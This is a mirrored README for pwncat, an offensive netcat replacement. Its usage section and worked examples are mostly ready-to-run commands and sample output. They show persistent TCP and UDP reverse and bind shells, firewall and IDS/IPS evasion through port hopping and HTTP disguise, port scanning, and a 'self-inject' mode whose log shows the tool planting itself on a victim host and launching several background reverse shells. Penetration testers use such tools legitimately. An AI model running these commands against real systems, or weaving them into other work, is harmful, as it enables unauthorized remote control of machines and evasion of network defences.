Giter VIP home page Giter VIP logo

cytopia / pwncat Goto Github PK

View Code? Open in Web Editor NEW
1.7K 1.7K 209.0 6.35 MB

pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE)

Home Page: https://pwncat.org

License: MIT License

Makefile 4.10% Python 27.20% Shell 67.10% Smarty 1.60%
bind-shell cytopia-sec local-port-forward local-port-forwarding nc ncat netcat penetration-testing pentest pentest-tool pentesting pentesting-tool pivoting port-forwarding portforward pwncat remote-port-forward remote-port-forwarding remote-shell reverse-shell

pwncat's Introduction

Docs | Install | TL;DR | Features | Behaviour | Usage | Examples | FAQ | Contributing | Disclaimer | License


pwncat banner

pwncat

Documentation Status PyPI PyPI - Status PyPI - Python Version PyPI - Format PyPI - Implementation PyPI - License

Build Status Build Status

ย 

Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE). - docs.pwncat.org

ย 

Code Style Integration Tests [2]
Styler Status
Black
mypy [1]
pycodestyle
pydocstyle
pylint
PythonOS Linux MacOS Windows
2.7
3.5
3.6
3.7
3.8
pypy2
pypy3

[1] mypy type coverage (fully typed: 94.00%)
[2] Failing builds do not indicate broken functionality. Integration tests run for multiple hours and break sporadically for various different reasons (network timeouts, unknown cancellations of GitHub Actions, etc): #735, #841

Motivation

Ever accidentally hit Ctrl+c on your reverse shell and it was gone for good? Ever waited forever for your client to connect back to you, because the Firewall didn't let it out? Ever had a connection loss because an IPS closed suspicious ports? Ever were in need of a quick port forwarding?

This one got you covered.

Apart from that the current features of nc, ncat or socat just didn't feed my needs and I also wanted to have a single tool that works on older and newer machines (hence Python 2+3 compat). Most importantly I wanted to have it in a language that I can understand and provide my own features with. (Wait for it, binary releases for Linux, MacOS and Windows will come shortly).

๐Ÿ“• Documentation

Pwncat docs Link
Official documentation https://docs.pwncat.org
Official website https://pwncat.org
API documentation https://pwncat.org/pwncat.api.html
Pwncat Scripting Engine PSE

๐ŸŽ‰ Install

Current version is: 0.1.2

Generic

Pip
pip install pwncat

OS specific

MacOS Arch Linux BlackArch CentOS[1]
mac_img arch_img barch_img centos_img
brew install pwncat yay -S pwncat pacman -S pwncat yum install pwncat
Fedora Kali Linux NixOS[2] Oracle Linux[1]
fedora_img kali_img nix_img oracle_img
dnf install pwncat apt install pwncat nixos.pwncat yum install pwncat
Pentoo Parrot OS
pentoo_img parrot_img
net-analyzer/pwncat apt install pwncat

[1]: Epel repository
[2]: Unstable

โ˜• TL;DR

This is just a quick get-you-started overview. For more advanced techniques see ๐Ÿ’ป Usage or ๐Ÿ’ก Examples.

See in action

unbreakable reverse shells - how to spawn

unbreakable reverse shells - multiple shells

Deploy to target

# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > pwncat
chmod +x pwncat

Inject to target

# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

[1] Read in more detail about self-injection

Summon shells

# Bind shell (accepts new clients after disconnect)
pwncat -l -e '/bin/bash' 8080 -k
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

Port scan

# [TCP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080
pwncat -z 10.0.0.1 1-65535
pwncat -z 10.0.0.1 1+1023

# [UDP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080 -u
pwncat -z 10.0.0.1 1-65535 -u
pwncat -z 10.0.0.1 1+1023 -u

# Use only IPv6 or IPv4
pwncat -z 10.0.0.1 1-65535 -4
pwncat -z 10.0.0.1 1-65535 -6 -u

# Add version detection
pwncat -z 10.0.0.1 1-65535 --banner

Local port forward -L (listening proxy)

# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

Remote port forward -R (double client proxy)

# Connect to Remote MySQL server (remote port 3306) and then connect to another
# pwncat/netcat server on 10.0.0.1:4444 and bridge traffic
pwncat -R 10.0.0.1:4444 everythingcli.org 3306
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

SSH Tunnelling for fun and profit ๐Ÿ”—
pwncat example: Port forwarding magic

โญ Features

At a glance

pwncat has many features, below is only a list of outstanding characteristics.

Feature Description
PSE Fully scriptable with Pwncat Scripting Engine to allow all kinds of fancy stuff on send and receive
port scanning TCP und UDP port scanning with basic version detection support
Self-injecting rshell Self-injecting mode to deploy itself and start an unbreakable reverse shell back to you automatically
Bind shell Create bind shells
Reverse shell Create reverse shells
Port Forward Local and remote port forward (Proxy server/client)
Ctrl+c Reverse shell can reconnect if you accidentally hit Ctrl+c
Detect Egress Scan and report open egress ports on the target (port hopping)
Evade FW Evade egress firewalls by round-robin outgoing ports (port hopping)
Evade IPS Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts (port hopping)
UDP rev shell Try this with the traditional netcat
Stateful UDP Stateful connect phase for UDP client mode
TCP / UDP Full TCP and UDP support
IPv4 / IPv6 Dual or single stack IPv4 and IPv6 support
Python 2+3 Works with Python 2, Python 3, pypy2 and pypy3
Cross OS Work on Linux, MacOS and Windows as long as Python is available
Compatability Use the netcat, ncat or socat as a client or server together with pwncat
Portable Single file which only uses core packages - no external dependencies required.

Feature comparison matrix

pwncat netcat ncat socat
Scripting engine โœ” Python โŒ โœ” Lua โŒ
IP ToS โœ” โœ” โŒ โœ”
IPv4 โœ” โœ” โœ” โœ”
IPv6 โœ” โœ” โœ” โœ”
Unix domain sockets โŒ โœ” โœ” โœ”
Linux vsock โŒ โŒ โœ” โŒ
Socket source bind โœ” โœ” โœ” โœ”
TCP โœ” โœ” โœ” โœ”
UDP โœ” โœ” โœ” โœ”
SCTP โŒ โŒ โœ” โœ”
SSL โŒ โŒ โœ” โœ”
HTTP โœ” โŒ โŒ โŒ
HTTPS * โŒ โŒ โŒ
Telnet negotiation โŒ โœ” โœ” โŒ
Proxy support โŒ โœ” โœ” โœ”
Local port forward โœ” โŒ โŒ โœ”
Remote port forward โœ” โŒ โŒ โŒ
Inbound port scan โœ” โœ” โœ” โŒ
Outbound port scan โœ” โŒ โŒ โŒ
Version detection โœ” โŒ โŒ โŒ
Chat โœ” โœ” โœ” โœ”
Command execution โœ” โœ” โœ” โœ”
Hex dump * โœ” โœ” โœ”
Broker โŒ โŒ โœ” โŒ
Simultaneous conns โŒ โŒ โœ” โœ”
Allow/deny โŒ โŒ โœ” โœ”
Re-accept โœ” โœ” โœ” โœ”
Self-injecting โœ” โŒ โŒ โŒ
UDP reverse shell โœ” โŒ โŒ โŒ
Respawning client โœ” โŒ โŒ โŒ
Port hopping โœ” โŒ โŒ โŒ
Emergency shutdown โœ” โŒ โŒ โŒ

* Feature is currently under development.

๐Ÿ‘ฎ Behaviour

Like the original implementation of netcat, when using TCP, pwncat (in client and listen mode) will automatically quit, if the network connection has been terminated, properly or improperly. In case the remote peer does not terminate the connection, or in UDP mode, netcat and pwncat will stay open. The behaviour differs a bit when STDIN is closed.

  1. netcat: If STDIN is closed, but connection stays open, netcat will stay open
  2. pwncat: If STDIN is closed, but connection stays open, pwncat will close

You can emulate the netcat behaviour with --no-shutdown command line argument.

Have a look at the following commands to better understand this behaviour:

# [Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

# [Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80
# [TCP]
# Both instances will quit after successful file transfer.
pwncat -l 4444 > output.txt
pwncat localhost 4444 < input.txt

# [TCP]
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will quit as well.
pwncat -l 4444 --no-shutdown > output.txt
pwncat localhost 4444 --no-shutdown < input.txt

Be advised that it is not reliable to send files via UDP

# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt

There are many ways to alter this default behaviour. Have a look at the usage section for more advanced settings.

๐Ÿ’ป Usage

Keys

Behaviour Alt Alt Alt
Quit (SIGINT) Ctrl+c Ctrl+c Ctrl+c
Quit (SIGQUIT) Ctrl+\ ? ?
Quit (SIGQUIT) Ctrl+4 ? ?
Quit STDIN[1] Ctrl+d Ctrl+d Ctrl+z and Ctrl+Enter
Send (NL) Ctrl+j ? ?
Send (EOL) Ctrl+m ? ?
Send (EOL) Enter Enter Enter

[1] Only works when not using --no-shutdown and --keep. Will then shutdown it's socket for sending, signaling the remote end and EOF on its socket.

Command line arguments

Type pwncat -h or click below to see all available options.

Click here to expand usage
usage: pwncat [options] hostname port
       pwncat [options] -l [hostname] port
       pwncat [options] -z hostname port
       pwncat [options] -L [addr:]port hostname port
       pwncat [options] -R addr:port hostname port
       pwncat -V, --version
       pwncat -h, --help


Enhanced and compatible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as
a client to connect to a remote endpoint. If the connection to the remote
endoint is lost, pwncat will quit. See options for how to automatically re-
connect.

positional arguments:
  hostname              Address to listen, forward, scan or connect to.

  port                  [All modes]
                        Single port to listen, forward or connect to.
                        [Zero-I/O mode]
                        Specify multiple ports to scan:
                        Via list:  4444,4445,4446
                        Via range: 4444-4446
                        Via incr:  4444+2

mode arguments:
  -l, --listen          [Listen mode]:
                        Start a server and listen for incoming connections.
                        If using TCP and a connected client disconnects or the
                        connection is interrupted otherwise, the server will
                        quit. See -k/--keep-open to change this behaviour.

  -z, --zero            [Zero-I/0 mode]:
                        Connect to a remote endpoint and report status only.
                        Used for port scanning.
                        See --banner for version detection.

  -L [addr:]port, --local [addr:]port
                        [Local forward mode]:
                        This mode will start a server and a client internally.
                        The internal server will listen locally on specified
                        addr/port (given by --local [addr:]port).
                        The server will then forward traffic to the internal
                        client which connects to another server specified by
                        hostname/port given via positional arguments.
                        (I.e.: proxies a remote service to a local address)

  -R addr:port, --remote addr:port
                        [Remote forward mode]:
                        This mode will start two clients internally. One is
                        connecting to the target and one is connecting to
                        another pwncat/netcat server you have started some-
                        where. Once connected, it will then proxy traffic
                        between you and the target.
                        This mode should be applied on machines that block
                        incoming traffic and only allow outbound.
                        The connection to your listening server is given by
                        -R/--remote addr:port and the connection to the
                        target machine via the positional arguments.

optional arguments:
  -e cmd, --exec cmd    Execute shell command. Only for connect or listen mode.

  -C lf, --crlf lf      Specify, 'lf', 'crlf' or 'cr' to always force replacing
                        line endings for input and outout accordingly. Specify
                        'no' to completely remove any line feeds. By default
                        it will not replace anything and takes what is entered
                        (usually CRLF on Windows, LF on Linux and some times
                        CR on MacOS).

  -n, --nodns           Do not resolve DNS.

  --send-on-eof         Buffer data received on stdin until EOF and send
                        everything in one chunk.

  --no-shutdown         Do not shutdown into half-duplex mode.
                        If this option is passed, pwncat won't invoke shutdown
                        on a socket after seeing EOF on stdin. This is provided
                        for backward-compatibility with OpenBSD netcat, which
                        exhibits this behavior.

  -v, --verbose         Be verbose and print info to stderr. Use -v, -vv, -vvv
                        or -vvvv for more verbosity. The server performance will
                        decrease drastically if you use more than three times.

  --info type           Show additional info about sockets, IPv4/6 or TCP opts
                        applied to the current socket connection. Valid
                        parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
                        Note, you must at least be in INFO verbose mode in order
                        to see them (-vv).

  -c str, --color str   Colored log output. Specify 'always', 'never' or 'auto'.
                        In 'auto' mode, color is displayed as long as the output
                        goes to a terminal. If it is piped into a file, color
                        will automatically be disabled. This mode also disables
                        color on Windows by default. (default: auto)

  --safe-word str       All modes:
                        If pwncat is started with this argument, it will shut
                        down as soon as it receives the specified string. The
                        --keep-open (server) or --reconn (client) options will
                        be ignored and it won't listen again or reconnect to you.
                        Use a very unique string to not have it shut down
                        accidentally by other input.

protocol arguments:
  -4                    Only Use IPv4 (default: IPv4 and IPv6 dualstack).

  -6                    Only Use IPv6 (default: IPv4 and IPv6 dualstack).

  -u, --udp             Use UDP for the connection instead of TCP.

  -T str, --tos str     Specifies IP Type of Service (ToS) for the connection.
                        Valid values are the tokens 'mincost', 'lowcost',
                        'reliability', 'throughput' or 'lowdelay'.

  --http                Connect / Listen mode (TCP and UDP):
                        Hide traffic in http packets to fool Firewalls/IDS/IPS.

  --https               Connect / Listen mode (TCP and UDP):
                        Hide traffic in https packets to fool Firewalls/IDS/IPS.

  -H [str [str ...]], --header [str [str ...]]
                        Add HTTP headers to your request when using --http(s).

command & control arguments:
  --self-inject cmd:host:port[s]
                        Listen mode (TCP only):
                        If you are about to inject a reverse shell onto the
                        victim machine (via php, bash, nc, ncat or similar),
                        start your listening server with this argument.
                        This will then (as soon as the reverse shell connects)
                        automatically deploy and background-run an unbreakable
                        pwncat reverse shell onto the victim machine which then
                        also connects back to you with specified arguments.
                        Example: '--self-inject /bin/bash:10.0.0.1:4444'
                        It is also possible to launch multiple reverse shells by
                        specifying multiple ports.
                        Via list:  --self-inject /bin/sh:10.0.0.1:4444,4445,4446
                        Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
                        Via incr:  --self-inject /bin/sh:10.0.0.1:4444+2
                        Note: this is currently an experimental feature and does
                        not work on Windows remote hosts yet.

pwncat scripting engine:
  --script-send file    All modes (TCP and UDP):
                        A Python scripting engine to define your own custom
                        transformer function which will be executed before
                        sending data to a remote endpoint. Your file must
                        contain the exact following function which will:
                        be applied as the transformer:
                        def transform(data, pse):
                            # NOTE: the function name must be 'transform'
                            # NOTE: the function param name must be 'data'
                            # NOTE: indentation must be 4 spaces
                            # ... your transformations goes here
                            return data
                        You can also define as many custom functions or classes
                        within this file, but ensure to prefix them uniquely to
                        not collide with pwncat's function or classes, as the
                        file will be called with exec().

  --script-recv file    All modes (TCP and UDP):
                        A Python scripting engine to define your own custom
                        transformer function which will be executed after
                        receiving data from a remote endpoint. Your file must
                        contain the exact following function which will:
                        be applied as the transformer:
                        def transform(data, pse):
                            # NOTE: the function name must be 'transform'
                            # NOTE: the function param name must be 'data'
                            # NOTE: indentation must be 4 spaces
                            # ... your transformations goes here
                            return data
                        You can also define as many custom functions or classes
                        within this file, but ensure to prefix them uniquely to
                        not collide with pwncat's function or classes, as the
                        file will be called with exec().

zero-i/o mode arguments:
  --banner              Zero-I/O (TCP and UDP):
                        Try banner grabbing during port scan.

listen mode arguments:
  -k, --keep-open       Listen mode (TCP only):
                        Re-accept new clients in listen mode after a client has
                        disconnected or the connection is interrupted otherwise.
                        (default: server will quit after connection is gone)

  --rebind [x]          Listen mode (TCP and UDP):
                        If the server is unable to bind, it will re-initialize
                        itself x many times before giving up. Omit the
                        quantifier to rebind endlessly or specify a positive
                        integer for how many times to rebind before giving up.
                        See --rebind-robin for an interesting use-case.
                        (default: fail after first unsuccessful try).

  --rebind-wait s       Listen mode (TCP and UDP):
                        Wait x seconds between re-initialization. (default: 1)

  --rebind-robin port   Listen mode (TCP and UDP):
                        If the server is unable to initialize (e.g: cannot bind
                        and --rebind is specified, it it will shuffle ports in
                        round-robin mode to bind to.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Set --rebind to at least the number of ports to probe +1
                        This option requires --rebind to be specified.

connect mode arguments:
  --source-addr addr    Specify source bind IP address for connect mode.

  --source-port port    Specify source bind port for connect mode.

  --reconn [x]          Connect mode (TCP and UDP):
                        If the remote server is not reachable or the connection
                        is interrupted, the client will connect again x many
                        times before giving up. Omit the quantifier to retry
                        endlessly or specify a positive integer for how many
                        times to retry before giving up.
                        (default: quit if the remote is not available or the
                        connection was interrupted)
                        This might be handy for stable TCP reverse shells ;-)
                        Note on UDP:
                        By default UDP does not know if it is connected, so
                        it will stop at the first port and assume it has a
                        connection. Consider using --udp-sconnect with this
                        option to make UDP aware of a successful connection.

  --reconn-wait s       Connect mode (TCP and UDP):
                        Wait x seconds between re-connects. (default: 1)

  --reconn-robin port   Connect mode (TCP and UDP):
                        If the remote server is not reachable or the connection
                        is interrupted and --reconn is specified, the client
                        will shuffle ports in round-robin mode to connect to.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Set --reconn to at least the number of ports to probe +1
                        This helps reverse shell to evade intrusiona prevention
                        systems that will cut your connection and block the
                        outbound port.
                        This is also useful in Connect or Zero-I/O mode to
                        figure out what outbound ports are allowed.

  --ping-init           Connect mode (TCP and UDP):
                        UDP is a stateless protocol unlike TCP, so no hand-
                        shake communication takes place and the client just
                        sends data to a server without being "accepted" by
                        the server first.
                        This means a server waiting for an UDP client to
                        connect to, is unable to send any data to the client,
                        before the client hasn't send data first. The server
                        simply doesn't know the IP address before an initial
                        connect.
                        The --ping-init option instructs the client to send one
                        single initial ping packet to the server, so that it is
                        able to talk to the client.
                        This is a way to make a UDP reverse shell work.
                        See --ping-word for what char/string to send as initial
                        ping packet (default: '\0')

  --ping-intvl s        Connect mode (TCP and UDP):
                        Instruct the client to send ping intervalls every s sec.
                        This allows you to restart your UDP server and just wait
                        for the client to report back in. This might be handy
                        for stable UDP reverse shells ;-)
                        See --ping-word for what char/string to send as initial
                        ping packet (default: '\0')

  --ping-word str       Connect mode (TCP and UDP):
                        Change the default character '\0' to use for upd ping.
                        Single character or strings are supported.

  --ping-robin port     Connect mode (TCP and UDP):
                        Instruct the client to shuffle the specified ports in
                        round-robin mode for a remote server to ping.
                        This might be handy to scan outbound allowed ports.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Use --ping-intvl 0 to be faster.

  --udp-sconnect        Connect mode (UDP only):
                        Emulating stateful behaviour for UDP connect phase by
                        sending an initial packet to the server to validate if
                        it is actually connected.
                        By default, UDP will simply issue a connect and is not
                        aware if it is really connected or not.
                        The default connect packet to be send is '\0', you
                        can change this with --udp-sconnect-word.

  --udp-sconnect-word [str]
                        Connect mode (UDP only):
                        Change the the data to be send for UDP stateful connect
                        behaviour. Note you can also omit the string to send an
                        empty packet (EOF), but be aware that some servers such
                        as netcat will instantly quit upon receive of an EOF
                        packet.
                        The default is to send a null byte sting: '\0'.

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information and exit

๐Ÿ’ก Examples

Upgrade your shell to interactive

This is a universal advice and not only works with pwncat, but with all other common tools.

When connected with a reverse or bind shell you'll notice that no interactive commands will work and hitting Ctrl+c will terminate your session. To fix this, you'll need to attach it to a TTY (make it interactive). Here's how:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z

# get your current terminal size (rows and columns)
stty size

# for bash/sh (enter raw mode and disable echo'ing)
stty raw -echo
fg

# for zsh (enter raw mode and disable echo'ing)
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm
stty rows <num> columns <cols>   # <num> and <cols> values found above by 'stty size'

[1] Reverse Shell Cheatsheet

UDP reverse shell

Without tricks a UDP reverse shell is not really possible. UDP is a stateless protocol compared to TCP and does not have a connect() method as TCP does. In TCP mode, the server will know the client IP and port, once the client issues a connects(). In UDP mode, as there is no connect(), the client simply sends data to an address/port without having to connect first. Therefore, in UDP mode, the server will not be able to know the IP and port of the client and hence, cannot send data to it first. The only way to make this possible is to have the client send some sort of data to the server first, so that the server can see what IP/port has sent data to it.

pwncat emulates the TCP connect() by having the client send a null byte to the server once or periodically via --ping-intvl or --ping-init.

# The client
# --exec            # Provide this executable
# --udp             # Use UDP mode
# --ping-init       # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444

Unbreakable TCP reverse shell

Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep trying to connect to the specified server until success. If the connection is interrupted, it will keep trying again.

# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# -reconn          # Automatically reconnect back to you indefinitely
# --reconn-wait     # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

Unbreakable UDP reverse shell

Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep sending null bytes to the server to constantly announce itself.

# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --ping-intvl      # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444

Self-injecting reverse shell

Let's imagine you are able to create a very simple and unstable reverse shell from the target to your machine, such as a web shell via a PHP script or similar. Knowing, that this will not persist very long or might break due to unstable network connection, you could use pwncat to hook into this connection and deploy itself unbreakably on the target - fully automated.

View on Youtube

All you have to do, is use pwncat as your local listener and start it with the --self-inject switch. As soon as the client (e.g.: the reverse web shell) connects to it, it will do a couple of things:

  1. Enumerate Python availability and versions on the target
  2. Dump itself base64 encoded onto the target
  3. Use the target's Python to decode itself.
  4. Use the target's Python to start itself as an unbreakable reverse shell back to you

Once this is done, you can keep using the current connection or simply abandon it and start a new listener (yes, you don't need to start the listener before starting the reverse shell) to have the new pwncat client connect to you. The new listener also doesn't have to be pwncat, it can also be netcat or ncat.

The --self-inject switch:

pwncat -l 4444 --self-inject <cmd>:<host>:<port>
  • <cmd>: This is the command to start on the target (like -e/--exec, so you want it to be cmd.exe or /bin/bash)
  • <host>: This is for your local machine, the IP address to where the reverse shell shall connect back to
  • <port>: This is for your local machine, the port on which the reverse shell shall connect back to

So imagine your Kali machine is 10.0.0.1. You instruct your webshell that you inject onto a Linux server to connect to you at port 4444:

# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

You will then see something like this:

[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

And you are set. You can now start another listener locally at 4445 (again, it will connect back to you endlessly, so it is not required to start the listener first).

# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445

Unlimited self-injecting reverse shells

Instead of just asking for a single self-injecting reverse shell, you can instruct pwncat to spawn as many unbreakable reverse shells connecting back to you as you desire.

View on Youtube

The --self-inject argument allows you to not only define a single port, but also

  1. A comma separated list of ports: 4445,4446,4447,4448
  2. A range definition: 4446-4448
  3. An increment: 4445+3

In order to spawn 4 reverse shells you would start your listener just as described above, but instead of a single port, you define multiple:

# Comma separated
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

# Range
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

# Increment
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

Each of the above three commands will achieve the same behaviour: spawning 4 reverse shells inside the target. Once the client connects, the output will look something like this:

[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &

Logging

Note: Ensure you have a reverse shell that keeps coming back to you. This way you can always change your logging settings without loosing the shell.

Log level and redirection

If you feel like, you can start a listener in full TRACE logging mode to figure out what's going on or simply to troubleshoot. Log message are colored depending on their severity. Colors are automatically turned off, if stderr is not a pty, e.g.: if piping those to a file. You can also manually disable colored logging for terminal outputs via the --color switch.

pwncat -vvvv -l 4444

You will see (among all the gibberish) a TRACE message:

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

As soon as you saw this on the listener, you can issue commands to the client. All the debug messages are also not necessary, so you can safely Ctrl+c terminate your server and start it again in silent mode:

pwncat -l 4444

Now wait a maximum a few seconds, depending at what interval the client comes back to you and voila, your session is now again without logs.

Having no info messages at all, is also sometimes not desirable. You might want to know what is going on behind the scences or? Safely Ctrl+c terminate your server and redirect the notifications to a logfile:

pwncat -l -vvv 4444 2> comm.txt

Now all you'll see in your terminal session are the actual command inputs and outputs. If you want to see what's going on behind the scene, open a second terminal window and tail the comm.txt file:

# View communication info
tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

Socket information

Another useful feature is to display currently configured socket and network settings. Use the --info switch with either socket, ipv4, ipv6, tcp or all to display all available settings.

Note: In order to view those settings, you must at least be at INFO log level (-vv).

An example output in IPv4/TCP mode without any custom settings is shown below:

INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
